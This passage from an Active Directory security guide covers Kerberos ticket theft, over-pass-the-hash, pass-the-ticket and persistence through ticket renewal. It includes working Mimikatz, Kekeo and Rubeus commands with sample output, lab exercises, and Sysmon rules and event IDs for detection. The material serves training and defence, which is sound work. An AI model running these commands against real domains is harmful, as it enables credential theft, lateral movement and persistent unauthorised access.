CName : bob [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/corp.local [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt): fc525c9683e8fe067095ba2ddc971889
[kdc] name: dc01.corp.local (auto)
[kdc] addr: 10.1.1.4 (auto)
> Ticket in file 'TGT_bob@CORP.LOCAL_krbtgt~corp.local@CORP.LOCAL.kirbi'Step 3: Request Service Tickets
# LSASS automatically requests TGS using the imported TGT
C:\> net use \\dc01.corp.local\C$
The command completed successfully.
C:\> dir \\dc01.corp.local\C$\Windows\NTDS
...
ntds.ditResult: Using only bob's NT hash, attacker gains full Kerberos access without cracking password.
Scenario 3: Persistent Access via Ticket Renewal
Context: Long-term access maintained by renewing stolen tickets.
Attack Flow:
Day 1: Initial Compromise
- Compromise system, extract admin TGT
- TGT valid for 10 hours, renewable for 7 daysDay 2-7: Maintain Access
# Every 8 hours (before 10-hour expiration)
kekeo # tgs::renew /tgt:admin_tgt.kirbi /pttDay 7: Maximum Renewal Reached
# renew-till deadline reached, ticket cannot be renewed further
# Request new TGT using stored credentials
kekeo # tgt::ask /user:admin /rc4:8a17fd6f96adb1e28a0f9e5b25a40f72 /domain:corp.local /pttResult: Attacker maintains access for weeks by renewing tickets and re-requesting when necessary, even if password changes would force new authentication (though hash would also change).
Defense and Detection Summary
Preventive Controls:
LSA Protected Process Light (PPL)
- Prevents unauthorized LSASS memory access
- Blocks
sekurlsa::ticketsextraction - Requires Windows 8.1+, UEFI Secure Boot
Credential Guard
- Isolates credentials in VTL-1 container
- Prevents ticket extraction from LSASS
- Requires virtualization support
Audit Policies
- Enable "Audit Kerberos Authentication Service" (4768)
- Enable "Audit Kerberos Service Ticket Operations" (4769, 4770)
- Monitor for anomalies in ticket requests/renewals
Detective Controls:
Sysmon Monitoring
- Event ID 10: LSASS access (ticket extraction)
- Event ID 3: Port 88 connections from non-LSASS (ticket requests)
- Event ID 11: .kirbi file creation (ticket export)
Security Event Log Analysis
- Event ID 4768: TGT requests from unusual IPs/times
- Event ID 4769: TGS requests with anomalous patterns
- Event ID 4770: Ticket renewals outside normal behavior
Behavioral Analytics
- User authenticating from unexpected systems
- Ticket usage patterns inconsistent with work schedule
- Multiple users' tickets used from single system
Response Actions:
Immediate Containment
- Isolate compromised systems
- Reset passwords for affected accounts (invalidates tickets)
- Reset krbtgt account twice (invalidates all TGTs in domain)
Forensic Analysis
- Memory dump of compromised systems
- Review Kerberos event logs
- Correlate LSASS access with ticket usage
Remediation
- Deploy LSA PPL across environment
- Implement Credential Guard on compatible systems
- Review and restrict administrative privileges
Practical Exercises
Exercise 1: Ticket Extraction and Analysis
Objective: Extract and analyze Kerberos tickets from a compromised system.
Prerequisites:
- Lab Windows 10 workstation (CLIENT01)
- Domain user account (alice)
- Mimikatz and Kekeo
- ASN.1 editor or Rubeus
Steps:
Log on as alice and generate tickets
- Log into CLIENT01 as alice - Access file share: net use \\fileserver\share - Access web app: browse to http://intranet.corp.localList current session tickets
kekeo # kerberos::list - Observe TGT and TGS tickets - Note encryption types, expiration times, flagsExport tickets
mimikatz # sekurlsa::tickets /export - Locate .kirbi files in current directory - Count number of tickets exportedAnalyze ticket structure
powershellPS C:\> .\Rubeus.exe describe /ticket:0-602058-2-0-40e10000-alice@krbtgt-CORP.LOCAL.kirbi - Examine service name, encryption type, timestamps - Identify renewable vs. non-renewable ticketsExport to Base64
kekeo # base64 /out:true kekeo # kerberos::list /export - Copy Base64 output - Decode on Linux: echo "base64..." | base64 -d > ticket.kirbi
Questions:
- How many tickets were extracted?
- What encryption types are used?
- Which tickets are renewable?
- What is the maximum lifetime of the TGT?
Exercise 2: Pass-The-Ticket Attack
Objective: Demonstrate lateral movement using exported tickets.
Prerequisites:
- Lab environment with CLIENT01 and CLIENT02
- Domain user alice with access to shared resources
- Mimikatz/Kekeo
Steps:
Extract tickets on CLIENT01
- Log on as alice to CLIENT01 - Access \\fileserver\finance - Extract tickets: sekurlsa::tickets /exportTransfer tickets to CLIENT02
- Copy .kirbi files to USB or network share - Logon to CLIENT02 as different user (bob)Purge bob's tickets
kekeo # kerberos::purge Ticket(s) purge for current session is OKImport alice's tickets
kekeo # kerberos::ptt C:\tickets\alice_tgt.kirbi * File: 'C:\tickets\alice_tgt.kirbi': OKAccess resources as alice
C:\> whoami corp\bob C:\> dir \\fileserver\finance [Access granted with alice's ticket]Observe authentication context
C:\> klist - Verify alice's TGT and TGS are cached - whoami still shows bob (local identity) - Network authentication uses alice's tickets
Questions:
- Why does
whoamishow bob but network access uses alice's identity? - What happens when alice's ticket expires?
- How would you detect this attack?
Exercise 3: Ticket Renewal and Monitoring
Objective: Practice ticket renewal and configure detection.
Prerequisites:
- Domain controller with logging enabled
- Sysmon installed on CLIENT01
- SIEM or log aggregation tool
Steps:
Request TGT with short lifetime
kekeo # tgt::ask /user:testuser /password:Password123! /domain:corp.local /pttMonitor ticket expiration
kekeo # localtime kekeo # kerberos::list - Note EndTime - Wait 8 hours (or adjust system time for testing)Renew before expiration
kekeo # kerberos::list /export kekeo # tgs::renew /tgt:testuser_tgt.kirbi /ptt - Verify new EndTimeReview Event Logs
- DC Security Log: Event ID 4768 (TGT request) - DC Security Log: Event ID 4770 (Ticket renewal) - Correlate IP, timestamps, user accountsConfigure Sysmon Detection
xml<FileCreate onmatch="include"> <TargetFilename condition="end with">.kirbi</TargetFilename> </FileCreate> <NetworkConnect onmatch="include"> <DestinationPort condition="is">88</DestinationPort> <Image condition="is not">C:\Windows\System32\lsass.exe</Image> </NetworkConnect>Test Detection
- Request new TGT: tgt::ask - Export tickets: /export - Verify Sysmon Event ID 3 (port 88) and 11 (.kirbi creation)
Deliverable: SIEM rule detecting ticket operations with <10% false positive rate.
Summary
Kerberos ticket operations form the foundation for many sophisticated Active Directory attacks. The ability to list, export, import, renew, and request tickets enables attackers to move laterally, escalate privileges, and maintain persistent access without repeatedly authenticating with passwords.
Key Technical Points:
Ticket Storage: Windows stores tickets in LSASS memory within logon sessions, requiring administrative access for extraction via
sekurlsa::ticketsbut allowing current-session access viakerberos::list.KIRBI Format: Exported tickets use ASN.1 DER-encoded binary format, exportable to files (.kirbi) or Base64 strings to avoid disk artifacts.
TGT Replacement: Each logon session maintains only one TGT; importing multiple TGTs causes replacement, while service tickets (TGS) are cumulative.
Ticket Validity: LSASS validates ticket expiration on import, preventing use of expired tickets but accepting tickets with arbitrary future times (exploitable in Golden/Silver Ticket attacks).
Renewal Mechanism: Tickets with
renewableflag can be renewed beforeEndTimeup torenew-tilldeadline, extending access without re-authentication.Direct Kerberos Requests: Tools like Kekeo can request TGTs directly from KDCs using credentials (password, NT hash, AES keys), bypassing LSASS and generating detectable network connections to port 88.
Operational Considerations:
For offensive practitioners, ticket operations enable:
- Pass-The-Ticket attacks (immediate lateral movement)
- Over-Pass-The-Hash (requesting Kerberos tickets with NTLM hashes)
- Credential reuse across systems (export from one, import on another)
- Persistent access through ticket renewal
- Avoiding password authentication while maintaining network access
For defensive teams, protection requires:
- LSA PPL deployment to prevent LSASS memory extraction
- Sysmon monitoring for LSASS access, .kirbi file creation, non-LSASS port 88 connections
- Kerberos event monitoring (Event IDs 4768, 4769, 4770) for anomalous patterns
- Behavioral analytics detecting ticket usage inconsistent with user patterns
- Password resets and krbtgt resets to invalidate stolen tickets
Strategic Importance:
Understanding Kerberos ticket operations is prerequisite to advanced attacks including Golden Tickets (forging TGTs), Silver Tickets (forging service tickets), Kerberoasting (cracking service account passwords), and delegation abuse (exploiting unconstrained/constrained delegation). The ticket-based nature of Kerberos means that credential theft has lasting impact—stolen tickets remain valid until expiration or password reset, enabling sustained unauthorized access even after initial compromise is remediated.
In the broader context of Active Directory security, tickets represent cached authentication tokens that, when compromised, grant immediate access without triggering password validation events. This makes ticket-based attacks particularly stealthy and difficult to detect without comprehensive logging and behavioral analysis. Organizations must implement defense-in-depth strategies combining preventive controls (LSA PPL, Credential Guard), detective controls (Sysmon, Security event monitoring), and incident response capabilities (rapid password/krbtgt resets) to effectively defend against Kerberos ticket manipulation attacks.
Previous Chapter: Chapter 24: Kerberos Overview
Next Chapter: Chapter 26: Pass-The-Ticket
Related Chapters:
- Chapter 28: Over-Pass-The-Hash - Using hashes to request Kerberos tickets
- Chapter 30: Golden Ticket - Forging TGTs with krbtgt hash
- Chapter 31: Silver Ticket - Forging service tickets
- Chapter 12: LSASS Protections - LSASS architecture and credential storage
